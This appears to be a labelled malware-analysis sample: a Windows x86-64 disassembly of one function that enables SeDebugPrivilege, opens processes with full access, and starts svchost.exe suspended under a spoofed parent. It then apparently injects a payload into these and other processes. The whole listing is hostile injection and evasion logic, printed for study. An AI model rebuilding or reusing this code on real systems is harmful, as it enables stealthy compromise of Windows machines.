Function at 0x1400011cb
Capabilities:
Acquire debug privileges
Create process on windows
Spoof parent pid

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x538
mov r12, rdx
lea rsi, [rsp + 0xa0]
mov qword [rsi], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x28
mov r8, rsi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000126d
lea r8, [rsp + 0x334]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14000125f
lea r8, [rsp + 0x330]
mov dword [r8], 1
mov dword [r8 + 0xc], 2
mov rcx, qword [rsp + 0xa0]
xor eax, eax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
xor edx, edx
mov r9d, 0x10
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rsi, [rsp + 0x60]
mov rcx, rsi
call fcn.140002102
call fcn.1400020db
lea rdx, [0x14010938e]
lea rdi, [rsp + 0xb0]
mov rcx, rdi
mov dword [rsp + 0x5c], eax
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, rsi
mov rdx, rdi
mov r8d, eax
call fcn.14000224e
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r15d, eax
mov dword [rsp + 0x1b8], 0
call fcn.140001f62
mov r13d, eax
mov ecx, 0x400
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x14000131a
mov rsi, rax
lea rdx, [rsp + 0x138]
mov rcx, rax
mov r8d, 0x40
call fcn.140001dde
test al, al
je 0x140001311
lea rcx, [0x140001bd1]
lea rdx, [rsp + 0x138]
call fcn.140001ce0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + 0x1b8]
lea rdx, str.pe:N_
lea rsi, [rsp + 0xb0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r8d, eax
call fcn.14000224e
cmp dword [rsp + 0x1b8], 0
je 0x1400013a1
xor esi, esi
lea r14, [0x14010939a]
lea rbp, [rsp + 0xb0]
mov rbx, qword [sym.imp.USER32.dll_wsprintfW]
lea rdi, [rsp + 0x60]
mov r9d, dword [rsp + rsi*4 + 0x1bc]
mov rcx, rbp
mov rdx, r14
mov r8d, esi
call rbx
mov rcx, rdi
mov rdx, rbp
mov r8d, eax
call fcn.14000224e
inc rsi
mov eax, dword [rsp + 0x1b8]
cmp rsi, rax
jb 0x140001371
lea rsi, [rsp + 0xa8]
mov dword [rsi], 0
lea rcx, [0x140001c8b]
mov rdx, rsi
call fcn.140001ce0
cmp dword [rsi], 1
jne 0x1400013f2
lea rdx, [0x140109066]
lea rsi, [rsp + 0xb0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r8d, eax
call fcn.14000224e
xor edi, edi
jmp 0x140001b9d
lea eax, [r15 + r15]
add eax, 2
mov dword [rsp + 0x58], eax
call fcn.140001ed6
xor ebp, ebp
mov edi, 0
test al, al
je 0x140001627
lea rdx, [0x14010940a]
lea rsi, [rsp + 0xb0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r8d, eax
call fcn.14000224e
xor ebx, ebx
mov ecx, 0x1fffff
xor edx, edx
mov r8d, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x14000159d
lea rsi, [rsp + 0x90]
mov qword [rsi], 0
xor ebx, ebx
xor ecx, ecx
mov edx, 1
xor r8d, r8d
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rdx, qword [rsi]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
test rax, rax
je 0x1400015a4
mov r15, rax
xor ebx, ebx
lea r9, [rsp + 0x90]
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 8
lea r9, [rsp + 0x70]
mov r8d, 0x20000
mov rcx, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rdx, str.C:WindowsSystem32_svchost.exe__k_LocalServiceNetwork__p
lea rsi, [rsp + 0x330]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rsp + 0x2c0]
mov ecx, 0xd
xor eax, eax
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rdx], 0x70
mov qword [rdx + 0x68], r15
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80404
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400015ab
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], r12
lea rax, [0x140003020]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x105000
mov dword [rsp + 0x20], 2
lea rcx, [rsp + 0x60]
mov r9d, 0x8664
call fcn.140002318
mov edi, eax
test eax, eax
je 0x1400015b2
xor ebx, ebx
jmp 0x1400015bf
mov edi, 0x14
jmp 0x1400015f4
mov edi, 0x15
jmp 0x1400015e9
mov edi, 0x17
jmp 0x1400015d7
mov bl, 1
cmp dword [rsp + 0x5c], 0
je 0x140001a27
mov rcx, qword [rsp + 0x80]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rsp + 0x78]
call rsi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x140109340]
lea rsi, [rsp + 0xb0]
mov rcx, rsi
mov r8d, edi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r8d, eax
call fcn.14000224e
test bl, bl
jne 0x140001b9d
mov dword [rsp + 0x9c], r13d
lea rdx, [0x1401093fe]
lea rsi, [rsp + 0xb0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r8d, eax
call fcn.14000224e
cmp dword [rsp + 0x1b8], 0
je 0x140001713
xor ebp, ebp
mov rsi, qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r15, [rsp + 0x60]
mov r14, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + rbp*4 + 0x1bc]
xor r13d, r13d
mov ecx, 0x1fffff
xor edx, edx
call rsi
test rax, rax
je 0x1400016f9
mov rbx, rax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], r12
lea rax, [0x140003020]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x105000
mov dword [rsp + 0x20], 1
mov rcx, r15
mov rdx, rbx
mov r8, 0xffffffffffffffff
mov r9d, 0x8664
call fcn.140002318
mov edi, eax
test eax, eax
sete r13b
or eax, dword [rsp + 0x5c]
jne 0x1400016f3
mov rcx, rbx
mov rdx, r15
call fcn.140001112
xor r13d, r13d
mov rcx, rbx
call r14
inc rbp
test r13b, r13b
jne 0x140001716
mov eax, dword [rsp + 0x1b8]
cmp rbp, rax
jb 0x14000167a
jmp 0x140001716
xor r13d, r13d
lea rdx, [0x14010936a]
lea rsi, [rsp + 0xb0]
mov rcx, rsi
mov r8d, ebp
mov r9d, edi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r8d, eax
call fcn.14000224e
test r13b, r13b
jne 0x140001b9d
lea rdx, [0x1401093f2]
lea rbx, [rsp + 0xb0]
mov rcx, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
lea r14, [rsp + 0x60]
mov rcx, r14
mov rdx, rbx
mov r8d, eax
call fcn.14000224e
lea r15, section..rdata
xor ebp, ebp
mov r13, qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, qword [r15]
call fcn.140001d55
xor esi, esi
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call r13
test rax, rax
je 0x14000180c
mov rbx, rax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], r12
lea rax, [0x140003020]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x105000
mov dword [rsp + 0x20], 1
mov rcx, r14
mov rdx, rbx
mov r8, 0xffffffffffffffff
mov r9d, 0x8664
call fcn.140002318
mov edi, eax
test eax, eax
sete sil
or eax, dword [rsp + 0x5c]
jne 0x140001803
mov rcx, rbx
mov rdx, r14
call fcn.140001112
xor esi, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp rbp, 1
lea rbp, [rbp + 1]
ja 0x140001823
add r15, 8
test sil, sil
je 0x140001788
lea rdx, [0x140109352]
lea rbx, [rsp + 0xb0]
mov rcx, rbx
mov r8d, ebp
mov r9d, edi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
mov rdx, rbx
mov r8d, eax
call fcn.14000224e
test sil, sil
mov r14d, dword [rsp + 0x9c]
jne 0x140001b9d
call fcn.140001ed6
test al, al
je 0x140001aca
lea rdx, [0x1401093e6]
lea rsi, [rsp + 0xb0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r8d, eax
call fcn.14000224e
lea rcx, str.C:WindowsSystem32_services.exe
lea rsi, [rsp + 0x330]
mov qword [rsi], rcx
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov qword [rsi + 8], rax
mov dword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0
lea rcx, [0x14000104c]
mov rdx, rsi
call fcn.140001ce0
mov rsi, qword [rsi + 0x18]
mov qword [rsp + 0x70], rsi
test rsi, rsi
je 0x140001a3b
lea rdi, [rsp + 0x90]
mov qword [rdi], 0
xor ebx, ebx
xor ecx, ecx
mov edx, 1
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rdx, qword [rdi]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
test rax, rax
je 0x140001a44
mov rbp, rax
xor ebx, ebx
lea r9, [rsp + 0x90]
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 8
lea r9, [rsp + 0x70]
mov r8d, 0x20000
mov rcx, rbp
xor edx, edx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rdx, str.C:WindowsSystem32_svchost.exe__k_LocalServiceNetwork__p
lea rsi, [rsp + 0x330]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rsp + 0x2c0]
mov ecx, 0xd
xor eax, eax
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rdx], 0x70
mov qword [rdx + 0x68], rbp
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80404
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001a4b
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], r12
lea rax, [0x140003020]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x105000
mov dword [rsp + 0x20], 2
lea rcx, [rsp + 0x60]
mov r9d, 0x8664
call fcn.140002318
mov edi, eax
test eax, eax
je 0x140001a52
xor ebx, ebx
jmp 0x140001a5f
mov rcx, qword [rsp + 0x78]
lea rdx, [rsp + 0x60]
call fcn.140001112
jmp 0x140001599
mov edi, 0x14
xor ebx, ebx
jmp 0x140001a97
mov edi, 0x15
jmp 0x140001a8e
mov edi, 0x17
jmp 0x140001a77
mov bl, 1
cmp dword [rsp + 0x5c], 0
je 0x140001bbd
mov rcx, qword [rsp + 0x80]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rsp + 0x78]
call rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rsi, qword [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x14010932e]
lea rsi, [rsp + 0xb0]
mov rcx, rsi
mov r8d, edi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r8d, eax
call fcn.14000224e
test bl, bl
jne 0x140001b9d
lea rdx, [0x1401093da]
lea rsi, [rsp + 0xb0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r8d, eax
call fcn.14000224e
mov ecx, 0x1fffff
xor edx, edx
mov r8d, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x140001b6d
mov rsi, rax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], r12
lea rax, [0x140003020]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x105000
mov dword [rsp + 0x20], 1
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r8, 0xffffffffffffffff
mov r9d, 0x8664
call fcn.140002318
mov edi, eax
or dword [rsp + 0x5c], eax
jne 0x140001b62
lea rdx, [rsp + 0x60]
mov rcx, rsi
call fcn.140001112
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001b72
mov edi, 0x1d
lea rdx, [0x14010931c]
lea rsi, [rsp + 0xb0]
mov rcx, rsi
mov r8d, edi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r8d, eax
call fcn.14000224e
lea rcx, [rsp + 0x60]
call fcn.14000223c
mov eax, edi
add rsp, 0x538
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x78]
lea rdx, [rsp + 0x60]
call fcn.140001112
jmp 0x140001a23